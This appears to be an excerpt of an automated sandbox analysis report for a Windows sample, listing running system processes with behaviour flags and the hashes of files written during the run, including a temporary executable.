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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2088
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:2360
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:3128
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3276
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3652
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:1124
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4424
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4652
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4832
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:2736
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:1204
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:3492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:5920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3680
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4896
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
PID:4036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2756 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 492 -p 5868 -ip 58682⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5276
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:448
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2272
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.8b428653-a23c-4158-b29b-c2cc8bf19404.tmp.csv
- Size 40KB
- SHA256 396db6c6706e347bce5c51bb037c9992be7ab5c19ba36226d4f28a2452ffb51a
- MD5 550a5ab965c29652e455cafdf851246e
- SHA1 c5e30d592b237ecf191c32848be3d71b0e89fa1e
- SHA512 8424156b2a00080d281d97e2a8ac2c93c4aff5c95f9d49a174815ea54606b9dd86d46f3325fd174a62a53f1318f6c9c30399ec4985c67dea06cdc839858fcd2f
- SSDEEP 768:RrL4L9uIM0P6CfG1JWAgcPVWOOtFCaFC/RxJVm0NgoJ8tE:RrL4L9uPNzgcPstFCaF0XJ8MgoJd
- TLSH T11303253ECEED023FC2B6DA1CC8EA4607F855A493361DED09A4D3678A4557583BCD026E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.b72a6fb7-a6cb-4c9c-a4db-ea21a6d40b3a.tmp.txt
- Size 13KB
- SHA256 c6deb56b912764b2d0e0c75ef3d338c7224430181a3ba02f47e47464efc5f6d7
- MD5 24487db8d3e97d3247fa76a16d1169e3
- SHA1 5238fea15f9bf1bd5b7400b2e22a0c89136d4290
- SHA512 22c2a965a891a1c6e6fc19bb9d72afcdfa7cb0b12077e09294d689f5b52f5491ff37e61b725e090a1291e4012ee14ded0a903c9cea81084f603e91a49d605fa9
- SSDEEP 96:4iefIzAAoXYsZYPW+HtYEZ0vtCi2Fid+wl+50pOM7aojQMyAHlcI293:NefxVnZ+5y7aojQMyAHB293
- TLSH T12B52615616E80359F2F75E88A5F020A19773F872AE39CA4D01DE130E87E3E41D865FA7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\pxujdgs5.32h.exe
- Size 161KB
- SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
- MD5 94f1ab3a068f83b32639579ec9c5d025
- SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
- SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
- SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
- TLSH T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
- Size 342B
- SHA256 37e211aef2ea4d1a87b44dd5862ea8b0d6a8fe06882d3a83749318656346def1
- MD5 c294700f5757ebd4fe2b3b76f8842240
- SHA1 a59da05e5597b91519bd57f152fa4ea472e3a89b
- SHA512 c8f77d651736b1a8a732b4f8532456b4e867ed992291b7c27dc71812f899a618e5fb3fc05c2f216fcebe9525ef654f6a60bf819190df2a42bb61d823df57d575
- TLSH T1FCE0C2523FB80205F5730A3CAE33A4499E36736BAE01CADE1735408D1D25FA18C3671D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B
- Size 246B
- SHA256 4acbf73a4974e6a908cdbad0db0763ae015e9e52b7edb1cbf5db064cecdeeee4
- MD5 46d757041626293f0859bccd97f23f10
- SHA1 21d15f05ced2958d3b0f1b74b37bc0dc3f49cf52
- SHA512 2a09b7064919db7d46ffa2c2dbf64c00c930ae8fb790e344dd20059cd369513b0a76c22577f7adf705a4950f48902e3417ddadc4f689f8e9ef54d0a483f9c526
- TLSH T127D012705376A606F5926B7ABEB056C2FE74AF65B102DB074FB1074C4818FD11C71A17
- MD5 SHA1 SHA512 TLSH